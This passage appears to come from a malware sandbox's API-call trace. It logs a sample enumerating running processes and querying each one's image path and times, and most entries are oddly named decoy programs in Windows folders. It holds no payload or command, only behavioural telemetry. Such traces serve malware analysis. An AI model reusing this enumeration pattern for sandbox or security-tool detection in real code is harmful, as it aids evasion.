th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0xfc [0245.546] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.546] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0245.546] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0245.546] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.546] CloseHandle (hObject=0xfc) returned 1 [0245.546] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0xfc [0245.547] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0245.547] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0245.547] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.548] CloseHandle (hObject=0xfc) returned 1 [0245.548] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0245.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xfc [0245.549] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0245.549] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\sppsvc.exe", lpdwSize=0x1795c8) returned 1 [0245.549] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\sppsvc.exe" | out: _Dest="C:\\Windows\\System32\\sppsvc.exe") returned="C:\\Windows\\System32\\sppsvc.exe" [0245.549] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.549] CloseHandle (hObject=0xfc) returned 1 [0245.549] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="linegood.exe")) returned 1 [0245.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0xfc [0245.550] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" (normalized: "c:\\program files (x86)\\windows defender\\linegood.exe")) returned 0x34 [0245.551] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\linegood.exe") returned="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" [0245.551] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.551] CloseHandle (hObject=0xfc) returned 1 [0245.551] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="no_nothing.exe")) returned 1 [0245.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0xfc [0245.552] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" (normalized: "c:\\program files (x86)\\windows defender\\no_nothing.exe")) returned 0x36 [0245.552] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe") returned="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" [0245.552] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.552] CloseHandle (hObject=0xfc) returned 1 [0245.552] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="form remember evening.exe")) returned 1 [0245.553] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9bc) returned 0xfc [0245.553] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\form remember evening.exe" (normalized: "c:\\program files\\dvd maker\\form remember evening.exe")) returned 0x34 [0245.553] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\form remember evening.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\form remember evening.exe") returned="C:\\Program Files\\DVD Maker\\form remember evening.exe" [0245.553] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.553] CloseHandle (hObject=0xfc) returned 1 [0245.553] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="study-reality-mission.exe")) returned 1 [0245.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c8) returned 0xfc [0245.554] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\study-reality-mission.exe")) returned 0x45 [0245.554] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" [0245.554] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.555] CloseHandle (hObject=0xfc) returned 1 [0245.555] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="field.exe")) returned 1 [0245.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0xfc [0245.555] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\field.exe")) returned 0x39 [0245.556] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe") returned="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" [0245.556] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.556] CloseHandle (hObject=0xfc) returned 1 [0245.556] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="apply-wear-benefit.exe")) returned 1 [0245.557] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e0) returned 0xfc [0245.557] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" (normalized: "c:\\program files (x86)\\windows defender\\apply-wear-benefit.exe")) returned 0x3e [0245.557] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe") returned="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" [0245.557] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.557] CloseHandle (hObject=0xfc) returned 1 [0245.557] malloc (_Size=0x8d00) returned 0x1c846d0 [0245.557] free (_Block=0x1c80048) [0245.557] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="law-stay.exe")) returned 1 [0245.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ec) returned 0xfc [0245.558] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\law-stay.exe" (normalized: "c:\\program files\\common files\\law-stay.exe")) returned 0x2a [0245.558] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\law-stay.exe" | out: _Dest="C:\\Program Files\\Common Files\\law-stay.exe") returned="C:\\Program Files\\Common Files\\law-stay.exe" [0245.558] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.558] CloseHandle (hObject=0xfc) returned 1 [0245.559] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="wife_heat.exe")) returned 1 [0245.559] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0xfc [0245.559] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Media Player\\wife_heat.exe" (normalized: "c:\\program files\\windows media player\\wife_heat.exe")) returned 0x33 [0245.560] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Media Player\\wife_heat.exe" | out: _Dest="C:\\Program Files\\Windows Media Player\\wife_heat.exe") returned="C:\\Program Files\\Windows Media Player\\wife_heat.exe" [0245.560] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.560] CloseHandle (hObject=0xfc) returned 1 [0245.560] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="interview nothing work.exe")) returned 1 [0245.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0xfc [0245.561] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" (normalized: "c:\\program files\\windowspowershell\\interview nothing work.exe")) returned 0x3d [0245.561] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe") returned="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" [0245.561] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.561] CloseHandle (hObject=0xfc) returned 1 [0245.561] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="your hit sense.exe")) returned 1 [0245.562] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa10) returned 0xfc [0245.562] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\your hit sense.exe" (normalized: "c:\\program files\\windows journal\\your hit sense.exe")) returned 0x33 [0245.562] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\your hit sense.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\your hit sense.exe") returned="C:\\Program Files\\Windows Journal\\your hit sense.exe" [0245.562] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.562] CloseHandle (hObject=0xfc) returned 1 [0245.562] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leftparticularly.exe")) returned 1 [0245.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0xfc [0245.563] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\leftparticularly.exe")) returned 0x40 [0245.563] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" [0245.563] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.564] CloseHandle (hObject=0xfc) returned 1 [0245.564] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="must-issue.exe")) returned 1 [0245.564] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa28) returned 0xfc [0245.564] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Mail\\must-issue.exe" (normalized: "c:\\program files\\windows mail\\must-issue.exe")) returned 0x2c [0245.565] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Mail\\must-issue.exe" | out: _Dest="C:\\Program Files\\Windows Mail\\must-issue.exe") returned="C:\\Program Files\\Windows Mail\\must-issue.exe" [0245.565] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.565] CloseHandle (hObject=0xfc) returned 1 [0245.565] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="call_order_arrive.exe")) returned 1 [0245.566] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0xfc [0245.566] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" (normalized: "c:\\program files (x86)\\windows nt\\call_order_arrive.exe")) returned 0x37 [0245.566] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe") returned="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" [0245.566] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.566] CloseHandle (hObject=0xfc) returned 1 [0245.566] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="natural_reach_decide.exe")) returned 1 [0245.567] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0xfc [0245.567] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" (normalized: "c:\\program files\\windows sidebar\\natural_reach_decide.exe")) returned 0x39 [0245.567] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe") returned="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" [0245.567] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.567] CloseHandle (hObject=0xfc) returned 1 [0245.567] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="another great.exe")) returned 1 [0245.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa4c) returned 0xfc [0245.568] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\another great.exe")) returned 0x3d [0245.569] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" [0245.569] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.569] CloseHandle (hObject=0xfc) returned 1 [0245.569] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bill order.exe")) returned 1 [0245.569] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa58) returned 0xfc [0245.569] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\bill order.exe")) returned 0x35 [0245.570] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe") returned="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" [0245.570] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.570] CloseHandle (hObject=0xfc) returned 1 [0245.570] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="large price.exe")) returned 1 [0245.571] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xfc [0245.571] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Reference Assemblies\\large price.exe" (normalized: "c:\\program files\\reference assemblies\\large price.exe")) returned 0x35 [0245.571] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Reference Assemblies\\large price.exe" | out: _Dest="C:\\Program Files\\Reference Assemblies\\large price.exe") returned="C:\\Program Files\\Reference Assemblies\\large price.exe" [0245.571] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.571] CloseHandle (hObject=0xfc) returned 1 [0245.571] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0245.572] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0xfc [0245.572] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\senior.exe")) returned 0x2f [0245.572] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" [0245.572] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.572] CloseHandle (hObject=0xfc) returned 1 [0245.572] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.573] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0xfc [0245.573] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\barca.exe")) returned 0x2e [0245.574] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" [0245.574] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.574] CloseHandle (hObject=0xfc) returned 1 [0245.574] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 